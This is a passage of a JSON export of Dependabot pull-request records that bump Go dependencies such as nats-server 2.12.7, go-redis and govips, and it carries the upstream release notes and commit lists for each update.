by \u003ca href=\"https://github.com/zhengjilei\"\u003e\u003ccode\u003e@​zhengjilei\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eVectorScoreSliceCmd RESP2\u003c/strong\u003e: Fixed \u003ccode\u003eVSimWithScores\u003c/code\u003e, \u003ccode\u003eVSimWithArgsWithScores\u003c/code\u003e, and \u003ccode\u003eVLinksWithScores\u003c/code\u003e which were broken on RESP2 connections returning flat arrays instead of maps (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3767\"\u003e#3767\u003c/a\u003e) by \u003ca href=\"https://github.com/apps/copilot-swe-agent\"\u003e\u003ccode\u003e@​Copilot\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/redis/go-redis/blob/master/RELEASE-NOTES.md\"\u003egithub.com/redis/go-redis/v9's changelog\u003c/a\u003e.\u003c/em\u003e\u003c...\n\n_Description has been truncated_","html_url":"https://github.com/mezalabs/meza/pull/195","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/mezalabs%2Fmeza/issues/195","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/195/packages"},{"uuid":"4299110382","node_id":"PR_kwDOPF7jX87UHyuI","number":27,"state":"closed","title":"deps(deps): bump github.com/nats-io/nats-server/v2 from 2.12.3 to 2.12.7","user":"dependabot[bot]","labels":["dependencies","go"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":"2026-04-28T00:17:43.000Z","author_association":null,"state_reason":null,"created_at":"2026-04-20T22:45:45.000Z","updated_at":"2026-04-28T00:17:45.000Z","time_to_close":610318,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"deps(deps)","packages":[{"name":"github.com/nats-io/nats-server/v2","old_version":"2.12.3","new_version":"2.12.7","repository_url":"https://github.com/nats-io/nats-server"}],"path":null,"ecosystem":"go"},"body":"Bumps [github.com/nats-io/nats-server/v2](https://github.com/nats-io/nats-server) from 2.12.3 to 2.12.7.\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nats-io/nats-server/releases\"\u003egithub.com/nats-io/nats-server/v2's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eRelease v2.12.7\u003c/h2\u003e\n\u003ch2\u003eChangelog\u003c/h2\u003e\n\u003cp\u003eRefer to the \u003ca href=\"https://docs.nats.io/release-notes/whats_new/whats_new_212\"\u003e2.12 Upgrade Guide\u003c/a\u003e for backwards compatibility notes with 2.11.x.\u003c/p\u003e\n\u003ch3\u003eGo Version\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e1.25.9 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8017\"\u003e#8017\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDependencies\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003egithub.com/nats-io/nats.go v1.50.0 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8000\"\u003e#8000\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eCVEs\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eTBD\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eImproved\u003c/h3\u003e\n\u003cp\u003eJetStream\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ePurging subjects from a stream now only loads filestore blocks within the range of where those subjects appear (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8004\"\u003e#8004\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eMulti-filtered load next or previous message code paths now correctly identify single subject filters or full wildcards and switch to optimized paths (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8012\"\u003e#8012\u003c/a\u003e, 8013)\u003c/li\u003e\n\u003cli\u003eThe \u003ccode\u003emax_mem_store\u003c/code\u003e and \u003ccode\u003emax_file_store\u003c/code\u003e configuration options can now be increased (but not decreased) via config reload (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8014\"\u003e#8014\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cp\u003eGeneral\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003eno_auth_user\u003c/code\u003e is now restricted to client connections only\u003c/li\u003e\n\u003cli\u003eOverlapping wildcard patterns in ACL \u003ccode\u003edeny\u003c/code\u003e patterns are now enforced correctly\u003c/li\u003e\n\u003cli\u003eQueue subscriptions can no longer incorrectly bypass non-queue ACL \u003ccode\u003edeny\u003c/code\u003e patterns\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eLeafnodes\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ePre-\u003ccode\u003eCONNECT\u003c/code\u003e guard improvements for leafnode connections, fixing a potential panic\u003c/li\u003e\n\u003cli\u003eACL permissions are now correctly enforced for inbound leaf messages in all cases\u003c/li\u003e\n\u003cli\u003eDuplicate \u003ccode\u003eINFO\u003c/code\u003e permissions updates are now only accepted for solicited leaf connections\u003c/li\u003e\n\u003cli\u003eThe \u003ccode\u003emax_payload\u003c/code\u003e limit is now correctly enforced for leafnode connections\u003c/li\u003e\n\u003cli\u003eA panic on leafnode connect when failing to resolve an account has been fixed (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7991\"\u003e#7991\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eJetStream\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eConsumer \u003ccode\u003emax_ack_pending\u003c/code\u003e should no longer become stuck due to deleted messages being left in the consumer pending state (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7984\"\u003e#7984\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eWhen scaling up a stream and adding subjects at the same time, the new subject filters are now correctly subscribed (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8003\"\u003e#8003\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFilestore caches are no longer expired and evicted from memory too eagerly after a recent write (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8009\"\u003e#8009\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eStream leaders can catch up from a snapshot if required (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8021\"\u003e#8021\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eMQTT\u003c/p\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/b4ce0f990e42bc6f24df0c40eafbc4c8a2ac5b6c\"\u003e\u003ccode\u003eb4ce0f9\u003c/code\u003e\u003c/a\u003e Release v2.12.7\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/195b07aab04f8f54fc80630d4405350e31b90839\"\u003e\u003ccode\u003e195b07a\u003c/code\u003e\u003c/a\u003e Fix fast-path \u003ccode\u003eno_auth_user\u003c/code\u003e for WebSockets where WS-specific account configured\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/213391e90f57883e6977479931c7ae638c0678af\"\u003e\u003ccode\u003e213391e\u003c/code\u003e\u003c/a\u003e [FIXED] Stream leader can catchup from snapshot if required\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/e0b0bdac0b512ac6812a3e29def379dd09010149\"\u003e\u003ccode\u003ee0b0bda\u003c/code\u003e\u003c/a\u003e Release v2.12.7-RC.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/d2c6139a8d85ccf9bb9a11eaad68f7f69eef0ac0\"\u003e\u003ccode\u003ed2c6139\u003c/code\u003e\u003c/a\u003e Cherry-picks for 2.12.7-RC.3 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/79\"\u003e#79\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/97a3f84f51195e9466e0332fcb5c262b416aadbf\"\u003e\u003ccode\u003e97a3f84\u003c/code\u003e\u003c/a\u003e Update to Go 1.25.9\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/a824f30c890d970fd64abc0b7fdf94a0aaa1d72a\"\u003e\u003ccode\u003ea824f30\u003c/code\u003e\u003c/a\u003e [IMPROVED] Allow reloading increased max memory and store\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/56548be07bc406fbccd31b130a54cb07d0b0066c\"\u003e\u003ccode\u003e56548be\u003c/code\u003e\u003c/a\u003e \u003ccode\u003eLoadNextMsgMulti\u003c/code\u003e and \u003ccode\u003eLoadPrevMsgMulti\u003c/code\u003e use fast path for single filter\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/b1776c639c1112ee108341a4739460595fc87fd5\"\u003e\u003ccode\u003eb1776c6\u003c/code\u003e\u003c/a\u003e Add \u003ccode\u003eMatchesSingleFilter\u003c/code\u003e to generic sublist\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/807d653bf56bf8d417b93f47a6a6ea883d5b5493\"\u003e\u003ccode\u003e807d653\u003c/code\u003e\u003c/a\u003e Complete filtered \u003ccode\u003eLoadPrevMsg\u003c/code\u003e implementation\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/nats-io/nats-server/compare/v2.12.3...v2.12.7\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=github.com/nats-io/nats-server/v2\u0026package-manager=go_modules\u0026previous-version=2.12.3\u0026new-version=2.12.7)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\n\n\n\u003c/details\u003e","html_url":"https://github.com/joeblew999/.github/pull/27","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/joeblew999%2F.github/issues/27","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/27/packages"},{"uuid":"4299094348","node_id":"PR_kwDOCVUCTs7UHvW3","number":815,"state":"closed","title":"Bump github.com/nats-io/nats-server/v2 from 2.12.6 to 2.12.7","user":"dependabot[bot]","labels":["dependencies","go"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":"2026-04-28T00:12:13.000Z","author_association":null,"state_reason":null,"created_at":"2026-04-20T22:41:08.000Z","updated_at":"2026-04-28T00:12:15.000Z","time_to_close":610265,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Bump","packages":[{"name":"github.com/nats-io/nats-server/v2","old_version":"2.12.6","new_version":"2.12.7","repository_url":"https://github.com/nats-io/nats-server"}],"path":null,"ecosystem":"go"},"body":"Bumps [github.com/nats-io/nats-server/v2](https://github.com/nats-io/nats-server) from 2.12.6 to 2.12.7.\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nats-io/nats-server/releases\"\u003egithub.com/nats-io/nats-server/v2's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eRelease v2.12.7\u003c/h2\u003e\n\u003ch2\u003eChangelog\u003c/h2\u003e\n\u003cp\u003eRefer to the \u003ca href=\"https://docs.nats.io/release-notes/whats_new/whats_new_212\"\u003e2.12 Upgrade Guide\u003c/a\u003e for backwards compatibility notes with 2.11.x.\u003c/p\u003e\n\u003ch3\u003eGo Version\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e1.25.9 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8017\"\u003e#8017\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDependencies\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003egithub.com/nats-io/nats.go v1.50.0 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8000\"\u003e#8000\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eCVEs\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eTBD\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eImproved\u003c/h3\u003e\n\u003cp\u003eJetStream\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ePurging subjects from a stream now only loads filestore blocks within the range of where those subjects appear (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8004\"\u003e#8004\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eMulti-filtered load next or previous message code paths now correctly identify single subject filters or full wildcards and switch to optimized paths (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8012\"\u003e#8012\u003c/a\u003e, 8013)\u003c/li\u003e\n\u003cli\u003eThe \u003ccode\u003emax_mem_store\u003c/code\u003e and \u003ccode\u003emax_file_store\u003c/code\u003e configuration options can now be increased (but not decreased) via config reload (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8014\"\u003e#8014\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cp\u003eGeneral\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003eno_auth_user\u003c/code\u003e is now restricted to client connections only\u003c/li\u003e\n\u003cli\u003eOverlapping wildcard patterns in ACL \u003ccode\u003edeny\u003c/code\u003e patterns are now enforced correctly\u003c/li\u003e\n\u003cli\u003eQueue subscriptions can no longer incorrectly bypass non-queue ACL \u003ccode\u003edeny\u003c/code\u003e patterns\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eLeafnodes\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ePre-\u003ccode\u003eCONNECT\u003c/code\u003e guard improvements for leafnode connections, fixing a potential panic\u003c/li\u003e\n\u003cli\u003eACL permissions are now correctly enforced for inbound leaf messages in all cases\u003c/li\u003e\n\u003cli\u003eDuplicate \u003ccode\u003eINFO\u003c/code\u003e permissions updates are now only accepted for solicited leaf connections\u003c/li\u003e\n\u003cli\u003eThe \u003ccode\u003emax_payload\u003c/code\u003e limit is now correctly enforced for leafnode connections\u003c/li\u003e\n\u003cli\u003eA panic on leafnode connect when failing to resolve an account has been fixed (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7991\"\u003e#7991\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eJetStream\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eConsumer \u003ccode\u003emax_ack_pending\u003c/code\u003e should no longer become stuck due to deleted messages being left in the consumer pending state (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7984\"\u003e#7984\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eWhen scaling up a stream and adding subjects at the same time, the new subject filters are now correctly subscribed (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8003\"\u003e#8003\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFilestore caches are no longer expired and evicted from memory too eagerly after a recent write (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8009\"\u003e#8009\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eStream leaders can catch up from a snapshot if required (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8021\"\u003e#8021\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eMQTT\u003c/p\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/b4ce0f990e42bc6f24df0c40eafbc4c8a2ac5b6c\"\u003e\u003ccode\u003eb4ce0f9\u003c/code\u003e\u003c/a\u003e Release v2.12.7\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/195b07aab04f8f54fc80630d4405350e31b90839\"\u003e\u003ccode\u003e195b07a\u003c/code\u003e\u003c/a\u003e Fix fast-path \u003ccode\u003eno_auth_user\u003c/code\u003e for WebSockets where WS-specific account configured\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/213391e90f57883e6977479931c7ae638c0678af\"\u003e\u003ccode\u003e213391e\u003c/code\u003e\u003c/a\u003e [FIXED] Stream leader can catchup from snapshot if required\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/e0b0bdac0b512ac6812a3e29def379dd09010149\"\u003e\u003ccode\u003ee0b0bda\u003c/code\u003e\u003c/a\u003e Release v2.12.7-RC.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/d2c6139a8d85ccf9bb9a11eaad68f7f69eef0ac0\"\u003e\u003ccode\u003ed2c6139\u003c/code\u003e\u003c/a\u003e Cherry-picks for 2.12.7-RC.3 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/79\"\u003e#79\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/97a3f84f51195e9466e0332fcb5c262b416aadbf\"\u003e\u003ccode\u003e97a3f84\u003c/code\u003e\u003c/a\u003e Update to Go 1.25.9\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/a824f30c890d970fd64abc0b7fdf94a0aaa1d72a\"\u003e\u003ccode\u003ea824f30\u003c/code\u003e\u003c/a\u003e [IMPROVED] Allow reloading increased max memory and store\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/56548be07bc406fbccd31b130a54cb07d0b0066c\"\u003e\u003ccode\u003e56548be\u003c/code\u003e\u003c/a\u003e \u003ccode\u003eLoadNextMsgMulti\u003c/code\u003e and \u003ccode\u003eLoadPrevMsgMulti\u003c/code\u003e use fast path for single filter\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/b1776c639c1112ee108341a4739460595fc87fd5\"\u003e\u003ccode\u003eb1776c6\u003c/code\u003e\u003c/a\u003e Add \u003ccode\u003eMatchesSingleFilter\u003c/code\u003e to generic sublist\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/807d653bf56bf8d417b93f47a6a6ea883d5b5493\"\u003e\u003ccode\u003e807d653\u003c/code\u003e\u003c/a\u003e Complete filtered \u003ccode\u003eLoadPrevMsg\u003c/code\u003e implementation\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/nats-io/nats-server/compare/v2.12.6...v2.12.7\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=github.com/nats-io/nats-server/v2\u0026package-manager=go_modules\u0026previous-version=2.12.6\u0026new-version=2.12.7)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\n\n\n\u003c/details\u003e","html_url":"https://github.com/nats-io/nsc/pull/815","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/nats-io%2Fnsc/issues/815","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/815/packages"},{"uuid":"4296954022","node_id":"PR_kwDORbaf5c7UAv6T","number":190,"state":"closed","title":"chore(deps): bump the go-minor-patch group across 1 directory with 13 updates","user":"dependabot[bot]","labels":["dependencies","go"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":"2026-04-27T06:03:37.000Z","author_association":null,"state_reason":null,"created_at":"2026-04-20T15:51:42.000Z","updated_at":"2026-04-27T06:03:38.000Z","time_to_close":569515,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps): bump","group_name":"go-minor-patch","update_count":13,"packages":[{"name":"github.com/alicebob/miniredis/v2","old_version":"2.36.1","new_version":"2.37.0","repository_url":"https://github.com/alicebob/miniredis"},{"name":"github.com/davidbyttow/govips/v2","old_version":"2.16.0","new_version":"2.18.0","repository_url":"https://github.com/davidbyttow/govips"},{"name":"github.com/jackc/pgx/v5","old_version":"5.7.2","new_version":"5.9.2","repository_url":"https://github.com/jackc/pgx"},{"name":"github.com/livekit/protocol","old_version":"1.44.1-0.20260120134243-0914cc74653e","new_version":"1.45.3","repository_url":"https://github.com/livekit/protocol"},{"name":"github.com/livekit/server-sdk-go/v2","old_version":"2.13.3","new_version":"2.16.2","repository_url":"https://github.com/livekit/server-sdk-go"},{"name":"github.com/minio/minio-go/v7","old_version":"7.0.98","new_version":"7.0.100","repository_url":"https://github.com/minio/minio-go"},{"name":"github.com/nats-io/nats-server/v2","old_version":"2.12.6","new_version":"2.12.7","repository_url":"https://github.com/nats-io/nats-server"},{"name":"github.com/oklog/ulid/v2","old_version":"2.1.0","new_version":"2.1.1","repository_url":"https://github.com/oklog/ulid"},{"name":"github.com/redis/go-redis/v9","old_version":"9.17.2","new_version":"9.18.0","repository_url":"https://github.com/redis/go-redis"},{"name":"golang.org/x/crypto","old_version":"0.49.0","new_version":"0.50.0","repository_url":"https://github.com/golang/crypto"},{"name":"google.golang.org/api","old_version":"0.269.0","new_version":"0.276.0","repository_url":"https://github.com/googleapis/google-api-go-client"}],"path":null,"ecosystem":"go"},"body":"Bumps the go-minor-patch group with 11 updates in the /server directory:\n\n| Package | From | To |\n| --- | --- | --- |\n| [github.com/alicebob/miniredis/v2](https://github.com/alicebob/miniredis) | `2.36.1` | `2.37.0` |\n| [github.com/davidbyttow/govips/v2](https://github.com/davidbyttow/govips) | `2.16.0` | `2.18.0` |\n| [github.com/jackc/pgx/v5](https://github.com/jackc/pgx) | `5.7.2` | `5.9.2` |\n| [github.com/livekit/protocol](https://github.com/livekit/protocol) | `1.44.1-0.20260120134243-0914cc74653e` | `1.45.3` |\n| [github.com/livekit/server-sdk-go/v2](https://github.com/livekit/server-sdk-go) | `2.13.3` | `2.16.2` |\n| [github.com/minio/minio-go/v7](https://github.com/minio/minio-go) | `7.0.98` | `7.0.100` |\n| [github.com/nats-io/nats-server/v2](https://github.com/nats-io/nats-server) | `2.12.6` | `2.12.7` |\n| [github.com/oklog/ulid/v2](https://github.com/oklog/ulid) | `2.1.0` | `2.1.1` |\n| [github.com/redis/go-redis/v9](https://github.com/redis/go-redis) | `9.17.2` | `9.18.0` |\n| [golang.org/x/crypto](https://github.com/golang/crypto) | `0.49.0` | `0.50.0` |\n| [google.golang.org/api](https://github.com/googleapis/google-api-go-client) | `0.269.0` | `0.276.0` |\n\n\nUpdates `github.com/alicebob/miniredis/v2` from 2.36.1 to 2.37.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/alicebob/miniredis/releases\"\u003egithub.com/alicebob/miniredis/v2's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eHEXPIRE\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003esupport HEXPIRE (thanks \u003ca href=\"https://github.com/mojixcoder\"\u003e\u003ccode\u003e@​mojixcoder\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/alicebob/miniredis/blob/master/CHANGELOG.md\"\u003egithub.com/alicebob/miniredis/v2's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev2.37.0\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003esuport HEXPIRE (thanks \u003ca href=\"https://github.com/mojixcoder\"\u003e\u003ccode\u003e@​mojixcoder\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/alicebob/miniredis/commit/c1b59bfe154a01657c4b79734237fe5eba81f11b\"\u003e\u003ccode\u003ec1b59bf\u003c/code\u003e\u003c/a\u003e feat: implement HEXPIRE command (\u003ca href=\"https://redirect.github.com/alicebob/miniredis/issues/424\"\u003e#424\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/alicebob/miniredis/compare/v2.36.1...v2.37.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/davidbyttow/govips/v2` from 2.16.0 to 2.18.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/davidbyttow/govips/releases\"\u003egithub.com/davidbyttow/govips/v2's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev2.18.0\u003c/h2\u003e\n\u003ch2\u003eHighlights\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eLeak detector\u003c/strong\u003e: new \u003ccode\u003eOpenImageRefs()\u003c/code\u003e and \u003ccode\u003eAssertNoLeaks(t)\u003c/code\u003e API for tracking unclosed \u003ccode\u003eImageRef\u003c/code\u003e instances (\u003ca href=\"https://redirect.github.com/davidbyttow/govips/issues/525\"\u003e#525\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eSplit \u003ccode\u003eImageRef\u003c/code\u003e\u003c/strong\u003e: decomposed the 2607-line god object into 8 focused files by concern — zero API changes, same public surface (\u003ca href=\"https://redirect.github.com/davidbyttow/govips/issues/525\"\u003e#525\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eWebP shrink-on-load\u003c/strong\u003e support via scale parameter (\u003ca href=\"https://redirect.github.com/davidbyttow/govips/issues/516\"\u003e#516\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eAnimated AVIF (avis) detection\u003c/strong\u003e support (\u003ca href=\"https://redirect.github.com/davidbyttow/govips/issues/513\"\u003e#513\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eFix memory leaks\u003c/strong\u003e in \u003ccode\u003evipsGetPoint\u003c/code\u003e and 